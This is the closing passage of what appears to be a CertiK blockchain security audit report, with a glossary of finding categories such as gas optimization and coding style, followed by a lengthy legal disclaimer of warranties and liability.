Coding Style	Coding Style findings may not affect code behavior, but indicate areas where coding practices can be improved to make the code more understandable and maintainable.
Language Version	Language Version findings indicate that the code uses certain compiler versions or language features with known security issues.
Gas Optimization	Gas Optimization findings do not affect the functionality of the code but generate different, more optimal EVM opcodes resulting in a reduction on the total gas cost of a transaction.
Code Optimization	No description available.

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevate Your Web3 Journey

CertiK is the largest Web3 security platform combining formal verification with audits and comprehensive security solutions.